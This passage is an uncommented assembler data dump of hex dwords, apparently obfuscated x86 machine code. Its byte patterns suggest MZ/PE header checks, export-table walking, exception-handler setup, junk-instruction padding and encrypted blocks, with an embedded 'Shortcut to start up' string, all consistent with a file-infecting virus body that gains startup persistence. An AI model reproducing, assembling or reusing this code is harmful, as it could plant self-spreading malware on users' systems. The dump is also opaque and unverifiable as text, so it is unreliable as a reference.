		dd 0E95B8FBDh, 5, 0ABEAC504h, 0D9BD833Ah, 306121Bh, 3E9850Fh
		dd 870F0000h, 6, 2995BD8Bh, 9D8B0612h, 61215C5h, 0C812BD83h
		dd 0F000615h, 3CA84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 2C7131B4h, 8B9600D4h
		dd 12295DBDh, 8D9D0306h, 0FF061209h, 15C812B5h,	0BE906h
		dd 94C50000h, 860D9980h, 0C8B1BAC1h, 0A995FF88h, 0E806121Ah
		dd 6, 2A64126Bh, 95894A6Eh, 6120511h, 6B58B5Bh,	810615C8h
		dd 0E6CDFC3h, 106C706h,	6A000100h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0BB9CC355h
		dd 76F6B5DEh, 40732A63h, 0CA7FF781h, 0F507295h,	158Bh
		dd 9E86000h, 7B000000h,	0F66CA3F9h, 4421D9Fh, 0C9BA6659h
		dd 34896193h, 559D8B24h, 0FF06121Ch, 15C812B5h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 595FF24h, 0F06121Ch,	88Fh, 8A0F5600h, 0
		dd 6B58B5Fh, 660615C8h,	858BF88Bh, 61201A5h, 56CABF66h
		dd 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0B438B5C3h, 0FDC2F6F9h, 8B66D88Bh
		dd 0A1958BDEh, 6A061209h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 539CC350h, 0BD8B4526h
		dd 6122DDDh, 6A04C283h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 68ABC355h, 2050892Fh
		dd 0C193BB66h, 0DC6F858Dh, 6A0615h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 3D16A5C3h
		dd 3F65967Fh, 2C59F781h, 9D8B49B5h, 61200D5h, 0B88689h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 87991AC3h, 0DBA52B21h, 0A4CF813Dh, 8B1F0EF7h
		dd 1200F59Dh, 6A006A06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0B7BCC350h,	0ECE253F8h
		dd 49579691h, 3D1319BBh, 12B5FF1Ch, 890615C8h, 122BD98Dh
		dd 0A595FF06h, 6A061206h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 56ECC357h, 7F286C5Dh
		dd 0EBB66050h, 8961F38Bh, 0BD8B2434h, 61208D1h,	0C812B5FFh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 58C43C3h,	0CC0DAFBFh, 8195FF39h, 6A061202h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0D658C350h, 31BD8BE0h, 8306122Dh,	122A09BDh
		dd 840F0006h, 4Fh, 0D9BF0F57h, 799D895Fh, 5006121Ch, 9E8h
		dd 91548D00h, 0D2976ACEh, 50608D8Eh, 5A310F52h,	895F6158h
		dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 763E3CC3h, 0FA21D4DBh, 0ADBD89E9h, 0FF061219h
		dd 15C812B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 99BD8B26h, 0FF061222h, 1218C195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 2054D624h, 0B3C34202h, 12B5FF47h, 0BF0615C8h
		dd 5DA3B248h, 1BA195FFh, 0B70F0612h, 0B1BD83FEh, 206121Eh
		dd 1B840Fh, 9D090000h, 6121A39h, 3A5858Bh, 9D2B0612h, 61219C5h
		dd 8B0000C6h, 1212219Dh, 5985C706h, 6121Bh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8B88C353h, 1B501FAh, 0E906121Bh, 0FFFFF44Fh
		dd 20059D89h, 0C18B0612h, 8E8h,	2BBDA000h, 46113E31h, 0F78166B6h
		dd 0BA5FD880h, 0F00E0000h, 0EA81h, 0C283F000h, 5958914h
		dd 83061204h, 858D14EAh, 617498Fh, 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 958589C8h, 3061208h,	0B70F3C40h, 95890650h, 612201Dh
		dd 8950508Bh, 120DDD95h, 0F80506h, 508B0000h, 89D1030Ch
		dd 12292195h, 8500306h,	2C3D9589h, 8F640612h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 0D99BD83h, 0F000612h, 2484h,	7185C600h, 47061228h, 9AA7D268h
		dd 0E9B5FFD4h, 8D061230h, 157F3585h, 6AD0FF06h,	89D0FF00h
		dd 12290985h, 0E8D38B06h, 0Ch, 0E3B0A35Dh, 0B8172772h
		dd 46BE1FD8h, 0F24D78BEh, 0F605860h, 28Ch, 0FF88B00h, 688h
		dd 890F00h, 61000000h, 6793C081h, 0B70F0000h, 19B468FBh
		dd 0EE90000h, 58000000h, 0FEE96267h, 0A1F895C7h, 0BA5D6C80h
		dd 81665BA5h, 0FF2151D9h, 0E1816630h, 815ACA9Ah, 0CBCB45F2h
		dd 0EA81F86Dh, 4A1CD139h, 0C281EB8Ah, 3BFA7733h, 64C5D981h
		dd 665213A7h, 8F0431B9h, 0E883F900h, 0BE666003h, 8A0F7590h
		dd 1, 8B4861F8h, 850F4BFAh, 19h, 0ABCF8166h, 29E9F5h, 0CCA70000h
		dd 77DA2B70h, 0EDF8014Eh, 0AC70F745h, 0E9ACB594h, 0FFFFFF9Bh
		dd 0D7AF8643h, 20A487A6h, 0F69365F2h, 905406F4h, 8DF1437Fh
		dd 174B818Dh, 800F06h, 89000000h, 1209A18Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 6F75D079h, 8D4D4734h, 85C7C28Ah, 6120505h, 72A4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 7C35545h, 7301EB40h
		dd 12E8C061h, 9D000000h, 9ED98809h, 0E2D7FB2Ch,	0A3E26888h
		dd 0D744890Fh, 65858BE5h, 5A061215h, 68A0Fh, 85310000h
		dd 6122C2Dh, 1BD985C7h,	612h, 0C3810000h, 5DF4AED2h, 6840Fh
		dd 0B5890000h, 612264Dh, 2381B5FFh, 6A0612h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0FAE887C3h
		dd 0D3DCBA1Ah, 1B3195FFh, 0D18B0612h, 95FF006Ah, 61219CDh
		dd 39EBC08Bh, 679661B1h, 775E0B40h, 4D55E2F2h, 2BE260A3h
		dd 245FF62Ch, 0CCBB3A49h, 2DB757A4h, 65E95B30h,	0C1251358h
		dd 63A0195Fh, 0DADFCE2Ch, 0BA3046F3h, 0FEA7FCBAh, 133BFEF5h
		dd 528D8D3Eh, 0BB06174Ch, 0B98B521h, 299BD8Bh, 8D890612h
		dd 61209A1h, 85C714B4h,	6120505h, 58F8h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 80C35747h, 0B6AA8F37h
		dd 507D1E96h, 1BD985C7h, 612h, 85090000h, 61223F9h, 0CD1B5FFh
		dd 66600612h, 0C24FEF81h, 3195FF61h, 6A06121Bh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 812DC356h, 922A806Fh, 0FF006ADCh, 1219CD95h,	0EBC08B06h
		dd 524B0D69h, 13A7176Ch, 0E12989EAh, 0B8B6C4E8h, 0D1B11571h
		dd 0F936D48Ah, 0CB608250h, 0BB424A74h, 0FDCEFA74h, 59CC3E52h
		dd 0EEBABC18h, 3E3F8488h, 23FD3917h, 1A610D62h,	937A801Fh
		dd 0C2367F9Dh, 7BF05BDh, 0C794F209h, 0F0C17DBh,	456D7BF8h
		dd 6ADC2377h, 89988A8Dh, 9058CC8Fh, 0C2C694F3h,	0CE6B4D2Dh
		dd 6F24F55Ch, 0F95BA2EDh, 0C2B5F706h, 590EA9B5h, 0C26E3F06h
		dd 410EA1B5h, 0D0DF30A8h, 6D6F2BC6h, 0D664356Eh, 802256B3h
		dd 685DA9E0h, 0D0CE26B0h, 0D0E2A73Ah, 4D3E24A1h, 0D6CD8CBCh
		dd 88B7F14Ch, 0C7AB9F30h, 0A43B24A1h, 68CE72A4h, 0D0CE26B0h
		dd 0D0E2A73Ah, 4D3E24A1h, 0D6CD884Dh, 88B7F14Ch, 0D076305Ah
		dd 0EB8692B3h, 380541Bh, 9613ABB5h, 898DA139h, 59A6696Dh
		dd 0C2F0D70Eh, 0BA2CA9B5h, 0D39E73B3h, 0F03B22B3h, 59C4E1EAh
		dd 51CA06FFh, 0C96306F7h, 91B322B3h, 4BB0E1E2h,	0D39C56AAh
		dd 78AEAED5h, 0CCBF2DB7h, 0D99D22B7h, 0C2D5AB06h, 0A1DAA1B5h
		dd 0D0B530BAh, 0D09EA6BCh, 0D08622B3h, 0D075CAE6h, 8D1B22B3h
		dd 0BC147F70h, 944F2697h, 0D0712697h, 85F622B3h, 0FBC3F770h
		dd 0D0EFC45Ah, 857648B3h, 0D03B215Bh, 13C002B3h, 0F4A2ABEEh
		dd 0F423A3B7h, 0D0B33EB7h, 138C67B3h, 9662BF43h, 0BE287256h
		dd 0F73B9CC5h, 679220B3h, 14BAF6Ah, 0BA6137C1h,	0D35B75B3h
		dd 0F0D922B3h, 59B3E1ECh, 517206CFh, 0C73F06F7h, 979D22B3h
		dd 6AC3E1E4h, 0B007B046h, 0D9499DBCh, 0C2CCFF3Eh, 38BA43B5h
		dd 0D07622BFh, 0D29A485Bh, 57BC29CAh, 0ABDD04CAh, 2F0678EBh
		dd 580A7563h, 89A0A4C6h, 54E3E236h, 0D0762215h,	0E8BADB38h
		dd 2B1C44E4h, 0D0FFA7BCh, 536822B3h, 0D0B322AAh, 0D0D9365Ah
		dd 0F30ECAB3h, 0CF1BE7EAh, 84001B4Eh, 70E4CB44h, 18C1A30h
		dd 0A8E64406h, 0DFB120B7h, 0D0DA4037h, 0D0602DB3h, 0B67622B3h
		dd 0B0A71A32h, 0D0C1A7BCh, 0D62622B3h, 5F6722B3h, 27CF89E7h
		dd 9D6C1312h, 8BEA30A1h, 38745A33h, 0D07BA7BCh,	1D1D22B3h
		dd 0A84F44A2h, 0DFCC22B5h, 0D0B31336h, 0DA3142B3h, 24EC22B3h
		dd 8CCFF71Ch, 38A7F85Dh, 0D092CA0Ah, 0F5E322B3h, 0EA593AC8h
		dd 0A6464479h, 71CD6C53h, 0B1B37D37h, 0D074D85Ah, 3BA44B3h
		dd 0D0234B06h, 0BA8823B2h, 0D38F72B3h, 0F0B322B3h, 5981E1EBh
		dd 51E806F7h, 0CB7206F7h, 903B22B3h, 3BA7E1E3h,	2FA1E20h
		dd 0DD8E236Eh, 0CCB322B3h, 30D3A834h, 705C6821h, 9DB7E1E3h
		dd 0A2EAA73Eh, 2F6124A6h, 0D0C0CB63h, 514E22B3h, 54D357E0h
		dd 7A3135E4h, 28F8D52Ah, 5479E236h, 0D03B20ECh,	38CC22D9h
		dd 0D0CE22B0h, 89A47B93h, 0D4976E3Ah, 0D4FD6632h, 0D0EC22AAh
		dd 0C4B573F2h, 0F1B8F551h, 4108ABFCh, 51C830BAh, 0D25A448Bh
		dd 56362DB1h, 0BAD922B3h, 0D30470B3h, 0F07622B3h, 5961E1E9h
		dd 519906E7h, 0C5CA06F7h, 926722B3h, 0CE9E1E1h,	0A8585105h
		dd 8FD144B5h, 0E8F22DC9h, 0BA3B22B1h, 0D37570B3h, 0F0CE22B3h
		dd 593DE1E9h, 51B706E7h, 0CADD06F7h, 92EC22B3h,	0D106E1E1h
		dd 1194639h, 0D091CAA6h, 0FD8322B3h, 4B72014Dh,	3262FB96h
		dd 0D9309D41h, 7EC22B3h, 0EA313976h, 7B56FB3Ah,	0D08ECBE9h
		dd 8DFC22B3h, 0A14D0B63h, 0CAC1DE44h, 0EF62C9F1h, 78BEAD5Ch
		dd 0E8F74494h, 5534422Fh, 0D09D22D5h, 389822D9h, 0D06722B0h
		dd 8E707C93h, 0D4FD563Ah, 0D4C86632h, 0D07622A4h, 7F874F5h
		dd 0B68D6DBFh, 501FDD08h, 0DF8F20CBh, 0D0B31B36h, 8C6244B3h
		dd 0A86D4491h, 0DFB622B5h, 0D03B0B36h, 61644B3h, 0D0CFAC5Ah
		dd 816748B3h, 0D0B3215Bh, 138002B3h, 0F4A0ABEAh, 0F432A3B7h
		dd 0D03B34B7h, 13CC63B3h, 0DFF79B2Bh, 0D0D9FA04h, 0DFCD23B2h
		dd 5554DC0Ch, 0D6F95062h, 382122D9h, 0D03B22B0h, 8F5E7D93h
		dd 0D4EA5E3Ah, 0D4436632h, 0D0B322A5h, 7F1A75F4h, 13EDACh
		dd 0C37FAF38h, 10BE24A1h, 0D064A6BCh, 0E84E22B3h, 7BE22D5Bh
		dd 0BAB322B3h, 0D33177B3h, 0F0EC22B3h, 592BE1EEh, 513F06DFh
		dd 0C59906F7h, 95CE22B3h, 43F6E1E6h, 0CE16B73Ah, 67D624A1h
		dd 0DD510B7Dh, 507030ACh, 0DF4827CBh, 0D09D5736h, 85CE48B3h
		dd 0D067215Bh, 13EE02B3h, 0F4B5ABEEh, 0F4A8A3B7h, 0D0763BB7h
		dd 136E67B3h, 9C53799Ch, 38AEE60Ch, 0D06722B8h,	0C2C9EBE6h
		dd 0ACFEE36Eh, 0FBE524E0h, 0C25CE72Eh, 695D78B5h, 50FC117Bh
		dd 0DF9D25CBh, 0D0678837h, 85B348B3h, 0D0D9215Bh, 13B102B3h
		dd 0F41AABEEh, 0F47FA3B7h
		dd 0D09D3EB7h, 139B67B3h, 0AB954472h, 0B02ADF0Ch, 554A9CBh
		dd 50EA30A9h, 51106644h, 0DF3EAD8Bh, 0D09D1836h, 0FB0FA3B3h
		dd 50200F5Dh, 0DFDB24CBh, 0D0D90836h, 0D0E5CBB3h, 2CF522B3h
		dd 2D4140EDh, 0B6897D95h, 2FC55A32h, 0C0E22D96h, 5BB322B3h
		dd 0C2FA470Eh, 0D0D1CBB5h, 511022B3h, 687EC352h, 0D09D22B3h
		dd 389922D9h, 0D06722B0h, 8F707D93h, 0D4FD5E3Ah, 0D4C86632h
		dd 0D07622A7h, 8EF875F4h, 7BA3E932h, 6D453CBCh,	0D6753D5Ah
		dd 0D0B3365Ah, 0D0582DB3h, 68EC22B3h, 0D07622B2h, 0CE2AA73Ah
		dd 5BFB24A1h, 2A457263h, 0BA43263Ah, 0D35B73B3h, 0F0D922B3h
		dd 59B5E1EAh, 517206FFh, 0CD3F06F7h, 919D22B3h,	558AE1E2h
		dd 83904CF2h, 56FE94A0h, 9C199F3Eh, 5D6124A4h, 0D66170BDh
		dd 0B66E010Bh, 551821C4h, 0FBC830A0h, 0D0D9E37Ch, 0DFCD23B2h
		dd 5554DC0Ch, 0D6F95062h, 382122D9h, 0D03B22B0h, 8F5E7D93h
		dd 0F305E983h, 0CF8B58A4h, 1F1D8D09h, 6A0612h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0FA23D5C3h, 29491A83h, 122C018Dh, 0FC00B06h,	2684h
		dd 0C88B6600h, 7498589h, 0B58D0612h, 6124DB5h, 2C2D8D8Bh
		dd 3B80612h, 0F000000h,	186h, 0E6FFF500h, 40CB8B66h, 2E25B501h
		dd 42B70612h, 8B50C08Bh, 1215F58Dh, 0BD835906h,	6121B91h
		dd 83097500h, 1217DDBDh, 19740006h, 0C08B5350h,	403B8h
		dd 95858900h, 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h
		dd 61217h, 53501774h, 403B8h, 95858900h, 8D061222h, 14AB179Dh
		dd 5BD3FF06h, 99B58958h, 50061206h, 6AC08B59h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0F195C355h, 20E6C1BAh, 11E8A4h, 37B80000h, 0AC783C37h
		dd 0D09F935Ch, 0A0988BFBh, 0F0CCA68h, 6159DEB7h, 13E8h
		dd 42A4D900h, 1EFE8E05h, 0AC131155h, 90E58669h,	0CD28FAA6h
		dd 74B85BF5h, 8154F6C9h, 75B8C3h, 0F633FC00h, 0F1E34FFh
		dd 48Bh, 6BBF6600h, 85095A25h, 612000Dh, 3E2FC281h, 0B70F75D8h
		dd 0E8C281FFh, 667CEC8Eh, 0E1E8F181h, 23D2EA81h, 0A6B95276h
		dd 52019F8Dh, 0F58D8Bh,	48F0612h, 0E58D2333h, 0E8061201h
		dd 6, 34F26920h, 0BD8BF478h, 6122269h, 3EE8358h, 7299F781h
		dd 664E503Dh, 812EEFB8h, 0FF8ADCFEh, 91850FFFh,	8BFFFFFFh
		dd 12018D85h, 0D58D8D06h, 6A061754h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0B9E8C353h
		dd 1E4BE969h, 5E998h, 0B6B00000h, 89E4F51Ch, 1209A18Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0BE351818h, 0BD897D1Ch, 6121691h, 50585C7h
		dd 731C0612h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 73944EC3h, 85C77F0Ah, 6121BD9h
		dd 0
		dd 0EE9h, 0EAA99100h, 0FA049F27h, 0E3AFD2FEh, 0FF201EA3h
		dd 12050DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 59915907h, 0CD9B7D2Bh, 29E58589h
		dd 95FF0612h, 6121B31h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0BC35040h, 0FE5A596Eh, 9D292D32h, 6120449h
		dd 95FF006Ah, 61219CDh,	9EBC08Bh, 6FFD6D1h, 0B15A5AFDh
		dd 712ADE68h, 4B46D4D4h, 557F01DCh, 525CD4C8h, 0B336398h
		dd 2633A9A9h, 265AF198h, 0E42EF5Eh, 4E60338Ah, 0A5E4FFB4h
		dd 16DAF867h, 0A3BEA08Ah, 20262CADh, 0A3BA7967h, 2021E4ADh
		dd 2BAAD71Bh, 2933338Ah, 2633831Dh, 0D5B6C098h,	7635B1CCh
		dd 72D6D615h, 0D963AF8Fh, 3403E10Dh, 2664839Eh,	23593598h
		dd 72C61F15h, 0AB634B8Fh, 3167431Dh, 0B3CC039Eh, 2021B9C1h
		dd 0A23C1493h, 26336AA1h, 72C6B015h, 0CE639C8Fh, 26334DAAh
		dd 0A3BEF6D8h, 20240763h, 0D3B624C8h, 7635C3CCh, 542FF67h
		dd 0E2B0338Ah, 0D3B61794h, 76355ACCh, 72D62315h, 0D963558Fh
		dd 34039C0Dh, 26513D9Eh, 0AD666A98h, 74646474h,	2E4E11CEh
		dd 24DA8DABh, 6633A698h, 260CD3DFh, 0D9C62C97h,	0EF002B67h
		dd 0CF3B1713h, 263335B2h, 31B948ABh, 0AD03A718h, 0AD63E868h
		dd 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh, 0A13C3566h
		dd 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h, 0E7B85667h
		dd 7F6C8EC6h, 2637A851h, 72D08815h, 0ABBE9C8Fh,	20241B80h
		dd 9320h, 0E7FC7800h, 7310271h,	0C783C8D0h, 850F4904h
		dd 0FFFFFFF2h, 5618B58Dh, 8D8D0617h, 6175637h, 0E983CF2Bh
		dd 8DC88B05h, 1756E78Dh, 85B58906h, 89061223h, 1209A18Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 66ECEB3Dh, 85C7C38Bh, 6120505h, 6764h, 59650CB8h
		dd 0D985C760h, 6121Bh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0EB72C355h
		dd 8503288Bh, 612194Dh,	2A49B5FFh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3BA990C3h
		dd 66F1BF0Fh, 95FFF98Bh, 6121B31h, 13D99D89h, 6A0612h
		dd 19CD95FFh, 0C08B0612h, 12C13BEBh, 1D6C4072h,	0D10567C1h
		dd 0AA21A476h, 8CB62088h, 2FDAF3AEh, 61724DEAh,	0E9E98711h
		dd 96AA6FCBh, 1A085D9Ah, 0F564F360h, 0FB772D9Ch, 0CCE96070h
		dd 62104A72h, 0CC75476Ch, 6E85Eh, 0AD4A0000h, 42427B77h
		dd 0A9652BBh, 0B9665A79h, 0C2818691h, 5F95h, 33DF8B66h
		dd 419529C0h, 0FF06120Dh, 840F1034h, 8,	599D0950h, 5B06121Dh
		dd 0D381665Eh, 0F6811D58h, 22A18FF6h, 1ADD9D8Bh, 0C6810612h
		dd 6C9BD08Bh, 8413B966h, 2FD5C681h, 0BE9104Eh, 47000000h
		dd 3258CEAFh, 0F919B677h, 0F56E521h, 683h, 818D8B00h, 8F061229h
		dd 0B5890204h, 6120751h, 9798D8Bh, 0E8830612h, 91FDBB04h
		dd 0F88173B4h, 0FFFFA124h, 11850Fh, 9D330000h, 6121C01h
		dd 1EE9h, 0C27CA800h, 8948C73Bh, 1204B58Dh, 0FF71E906h
		dd 0E23FFFFFh, 180A92A0h, 34A819D7h, 20BFAA5Eh,	33F8A4B9h
		dd 0AE673720h, 8467A74Fh, 0C59C1AEAh, 0AA07231Ah, 0AF853E36h
		dd 0EA013130h, 43E96632h, 13132h, 995EF26Dh, 8905154Eh
		dd 13051576h, 45013132h, 8D84F265h, 588FF95h, 46131857h
		dd 29708CB1h, 1F013720h, 8017EB6h, 0B5BC1A32h, 0EA07231Dh
		dd 1013122h, 6F27FC8Dh,	0C1155F7Eh, 21B3A2h, 1F86762Ch
		dd 25C8BC3Bh, 0ED5A3720h, 2013367h, 0E9563158h,	80013131h
		dd 1FC26E12h, 24254DBBh, 142575B3h, 8013126h, 40C26675h
		dd 3DCA4B9h, 0BC8A3720h, 86132117h, 0BBBF57A2h,	0D08A6166h
		dd 15823EA2h, 0B3013132h, 0DE69B90h, 264D303Dh,	52015BCCh
		dd 800132DAh, 835A1132h, 45DB869h, 3445B036h, 8012736h
		dd 0C7527232h, 0B9C388Ah, 131C8CAFh, 806B6934h,	4002D965h
		dd 7F213132h, 6C886EF1h, 4C803516h, 4163516h, 55463132h
		dd 0CECB8CF1h, 3994022Eh, 0FF07232Dh, 32F320D5h, 10B88C19h
		dd 0C8823720h, 7994BA1Eh, 89072328h, 0F6B63E3Ah, 7C49BA54h
		dd 40013ADAh, 1B0E5432h, 7A25BE0h, 0FBB88336h, 525E6A63h
		dd 20138DBh, 0DD6D2032h, 7C1402Fh, 265B059Ch, 0DF3708B3h
		dd 10FCB53Dh, 8BF93132h, 46B38F3h, 202D962h, 59213132h
		dd 0C48869F1h, 4803516h, 20183516h, 40413132h, 0F01EB3F1h
		dd 64FC68D9h, 0DF3BA54h, 10130BAh, 0E660C432h, 0EF7CF2B3h
		dd 2FE808B2h, 100071B7h, 5E015B32h, 40132DAh, 0C15F1132h
		dd 2575B86Ch, 0A445B036h, 40012436h, 0E3577732h, 43572953h
		dd 8013FDBh, 935B8932h,	847E9CB0h, 2D7E6291h, 0DE1A7DD8h
		dd 0C59C1869h, 0AB072302h, 0AD883073h, 0E132BDFh, 46BF931h
		dd 202D965h, 5E213132h,	0FC886EF1h, 4803516h, 20163516h
		dd 47463132h, 6FE154F1h, 0F5B63E08h, 19C88CB9h,	0C0823720h
		dd 0D0015B37h, 400132DAh, 0E3591132h, 3445B86Ah, 2C45B036h
		dd 4012936h, 0C1517132h, 0D2A93FD7h, 0CD9432D1h, 0A907233Fh
		dd 20013123h, 97CAF0ABh, 502C1E41h, 0DFE0E79h, 7F4AD7A8h
		dd 9138B049h, 8F8A7279h, 4001B9B7h, 6D94BA32h, 9D07233Ch
		dd 1A4C84BFh, 53015B34h, 20132DAh, 0C25E1132h, 0A47DB86Dh
		dd 6445B036h, 20012536h, 0D3567632h, 0A5B4BAEEh, 8F072326h
		dd 1020A887h, 1028934h,	806B3132h, 4002D967h, 7D213132h
		dd 7C886CF1h, 4C803516h, 41B3516h, 57443132h, 2EC5CEF1h
		dd 99546786h, 0BFFABA54h, 71015BD3h, 100132DAh,	0CB581132h
		dd 204DB86Bh, 2645B036h, 1012936h, 43507032h, 0E3905281h
		dd 9D9BAF6h, 228C0BFh, 86B5034h, 402D967h, 5F213132h, 6D886CF1h
		dd 0C4803516h, 40183516h, 75443132h, 0CC507CF1h, 23B0C102h
		dd 161A48AFh, 0EBBCBC34h, 8C072665h, 975BC6BFh,	0C3758934h
		dd 0A53230A0h, 16132F2Fh, 20C0FE19h, 33F8A4B9h,	0AE673720h
		dd 8467A74Fh, 0C59C1AEAh, 0AA07231Ah, 0AF853E36h, 5E98330h
		dd 0C08BA4F3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	1CC35646h, 1329BD29h, 8B660612h, 50006ADFh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 9360FAAEh, 0C1B12543h, 3259D8Bh, 8BF50612h, 5E8C3h
		dd 0ABF60000h, 893E1106h, 123499BDh, 6E95B06h, 14000000h
		dd 0FB6429B2h, 1DC381EFh, 0E900006Fh, 14h, 0B27A6978h
		dd 23E2E81Fh, 1F6DC559h, 543B39FDh, 0A079E9F7h,	80B2F62Bh
		dd 1330C8Bh, 121F7995h,	1E98106h, 8123B7CCh, 262FEE9h
		dd 8589575Ah, 612181Dh,	0AFF1815Ah, 601789DCh, 1FF19D2Bh
		dd 8A0F0612h, 6, 21A1B589h, 89610612h, 8D29330Ch, 6121E15h
		dd 51DF8166h, 0E6EE810Ch, 895956FBh, 12115995h,	0E2C68106h
		dd 575956FBh, 815A78B2h, 0FF91ACFEh, 18850FFFh,	89000000h
		dd 121D1985h, 21E906h, 0A7B30000h, 0E01BD07Fh, 1E6CEBBDh
		dd 0B890C9FBh, 11725EAh, 0FFFF77E9h, 319EA4FFh,	37662C3Bh
		dd 0E90C3D25h, 0B0h, 0DA8C6660h, 0F04C2F6h, 0C85h, 0B1853B00h
		dd 0F061203h, 3684h, 39853B00h,	0F06121Dh
		dd 2A84h, 0ED853B00h, 0F061222h, 1E84h,	0F1853B00h, 0F061220h
		dd 1284h, 89BD8300h, 1061205h, 5840Fh, 5FE90000h, 8B000000h
		dd 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h, 4984h, 0F8C28100h
		dd 8B000000h, 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh
		dd 10840Fh, 0CE3B0000h,	17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h
		dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 0B59D8D00h, 0B806124Dh
		dd 5, 0C361E3FFh, 82E9D00Bh, 3D000000h,	53220ECBh, 74726F68h
		dd 20747563h, 73206F74h, 74726174h, 7075h, 1Ah dup(0)
		dd 0FECE900h, 15680000h, 0E906175Fh, 0FFFBED72h, 17605668h
		dd 0ED68E906h, 7768FFFBh, 0E9061762h, 0FFFBED5Eh, 1762D168h
		dd 0ED54E906h, 9368FFFBh, 0E9061763h, 0FFFBED4Ah, 17644368h
		dd 0ED40E906h, 5A68FFFBh, 0E9061768h, 0FFFBED36h, 176B1468h
		dd 0ED2CE906h, 0F068FFFBh, 0E906176Bh, 0FFFBED22h, 974F4F53h
		dd 964E584Dh, 944C5A4Ch, 9048564Ah, 91495D46h, 0EBB84F21h
		dd 0E6B903BBh, 0EEB600B8h, 0EBB600B8h, 0E0DBFBB3h, 96F422CAh
		dd 1C9917B3h, 897A247Dh, 0F0436341h, 0D3CBD660h, 17FA071Bh
		dd 0C5671026h, 1DD0BB93h, 4DF3358Dh, 0DDD94C6Ch, 0D68FC844h
		dd 42E56A41h, 30000000h, 0D2C386B3h, 93C10FBCh,	0ED7D30BBh
		dd 6C415395h, 0E980B4Ch, 0F7AFF47Eh, 0EA7A2C77h, 0DAED769Ah
		dd 77978C88h, 6A41D6E0h, 11B94h, 6B398100h, 0FC8C128Eh
		dd 0DFBC4C1Fh, 3176A328h, 64B77055h, 7A247DD1h,	634360EAh
		dd 29752A72h, 0D969BC99h, 0BC4C524Fh, 7B2B79C1h, 0A5F9A828h
		dd 44B332EDh, 0CCF9CE25h, 31C1E5BEh, 0E02E8154h, 0B5811D75h
		dd 0CCD71A87h, 0ED6D4ADAh, 8360F0B6h, 0F3AEF8B0h, 0BAC71BABh
		dd 0ABD0E6D7h, 9CBB9305h, 0F6B0F8E9h, 91A55DB0h, 876D8360h
		dd 0BA4C6F06h, 8558465Ah, 2D79C1B2h, 0B90CE979h, 40560FC8h
		dd 4C6F06D8h, 3987DA8Dh, 4278F8DEh, 8FD7C87Bh, 1FDA9214h
		dd 0A8A85066h, 0E4C2465Bh, 796A1DC2h, 5BA8BD63h, 0AAFDB046h
